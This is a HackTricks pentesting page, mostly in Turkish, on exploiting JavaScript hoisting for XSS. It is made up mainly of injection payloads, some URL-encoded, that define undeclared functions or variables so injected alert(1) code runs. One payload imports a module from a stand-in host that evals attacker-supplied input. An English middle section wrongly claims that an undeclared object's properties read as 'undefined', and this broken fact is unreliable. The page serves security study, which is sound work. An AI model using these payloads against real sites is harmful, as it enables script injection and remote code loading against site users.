9.5 KiB
JS Hoisting
AWS hackleme becerilerinizi sıfırdan ileri seviyeye taşıyın htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.
Temel Bilgiler
JavaScript dilinde, Hoisting olarak bilinen bir mekanizma, değişkenlerin, fonksiyonların, sınıfların veya importların bildirimlerinin, kodun çalıştırılmadan önce kapsamlarının en üstüne kavramsal olarak yükseltildiği şekilde tanımlanır. Bu işlem, JavaScript motoru tarafından otomatik olarak gerçekleştirilir ve motor, betiği birden fazla geçişte tarar.
İlk geçiş sırasında, motor, sözdizimi hatalarını kontrol etmek ve betiği soyut sözdizim ağacına dönüştürmek için kodu ayrıştırır. Bu aşama, hoisting'i içeren bir süreç olan bildirimleri yürütme bağlamının en üstüne taşır. Ayrıştırma aşaması, sözdizimi hataları olmadığını gösteren başarılı bir şekilde tamamlandığında, betik yürütmesi devam eder.
Şunları anlamak önemlidir:
- Betik, yürütme için sözdizimi hatalarından arındırılmış olmalıdır. Sözdizimi kurallarına kesinlikle uyulmalıdır.
- Kodun betik içindeki yerleşimi, hoisting nedeniyle yürütme üzerinde etkili olur, ancak yürütülen kod, metinsel temsilinden farklı olabilir.
Hoisting Türleri
MDN'den alınan bilgilere göre, JavaScript'te dört farklı hoisting türü bulunmaktadır:
- Değer Hoisting: Bir değişkenin değerinin, bildirim satırından önceki kapsamında kullanılmasını sağlar.
- Bildirim Hoisting: Bir değişkenin bildiriminden önceki kapsamında başvurulmasına izin verir ve
ReferenceError
hatası oluşturmadan, değişkenin değeriundefined
olur. - Bu tür, değişkenin gerçek bildirim satırından önceki bildirimi nedeniyle kapsam içindeki davranışı değiştirir.
- Bildirimin yan etkileri, içeren kodun geri kalanının değerlendirilmeden önce gerçekleşir.
Ayrıntılı olarak, fonksiyon bildirimleri 1. tür hoisting davranışını sergiler. var
anahtar kelimesi 2. tür davranışı gösterir. let
, const
ve class
içeren leksikal bildirimler 3. tür davranışı gösterir. Son olarak, import
ifadeleri, hem 1. tür hem de 4. tür davranışlarla hoisted olarak benzersizdir.
Senaryolar
Bu nedenle, tanımlanmamış bir nesnenin kullanıldıktan sonra JS kodu enjekte edebileceğiniz senaryolarda, bunu bildirerek (böylece kodunuz hata fırlatmak yerine yürütülür):
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']
Daha Fazla Senaryo
In addition to the scenarios mentioned earlier, there are a few more scenarios where JavaScript hoisting can be exploited for XSS attacks. Let's take a look at them:
1. Function Declarations
When a function is declared using the function
keyword, it is hoisted to the top of its scope. This means that even if the function is defined after it is called, it can still be executed without any errors. Attackers can take advantage of this behavior to execute malicious code.
<script>
foo(); // This will execute the function even though it is defined later
function foo() {
alert('XSS');
}
</script>
2. Variable Declarations
Similarly, variable declarations using the var
keyword are also hoisted to the top of their scope. This allows attackers to use variables before they are actually declared.
<script>
alert(x); // This will display 'undefined' as the variable is hoisted but not assigned a value yet
var x = 'XSS';
</script>
3. Object Declarations
When an object is declared using the var
keyword, the variable is hoisted but the object itself is not. However, the properties of the object can still be accessed before the object is declared.
<script>
alert(obj.property); // This will display 'undefined' as the object is not hoisted
var obj = {
property: 'XSS'
};
</script>
4. Function Expressions
Unlike function declarations, function expressions are not hoisted. Therefore, if a function expression is used before it is defined, an error will occur.
<script>
foo(); // This will throw an error as the function expression is not hoisted
var foo = function() {
alert('XSS');
};
</script>
By understanding these additional scenarios, you can further exploit JavaScript hoisting for XSS attacks. Remember to always validate and sanitize user input to prevent such vulnerabilities.
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")
// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};
export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert
try {
if(config){
return;
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
}
})
}
Referanslar
- https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios
- https://developer.mozilla.org/en-US/docs/Glossary/Hoisting
- https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
AWS hackleme konusunda sıfırdan kahramana dönüşmek için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini edinin
- Özel NFT'lerden oluşan koleksiyonumuz The PEASS Family'i keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.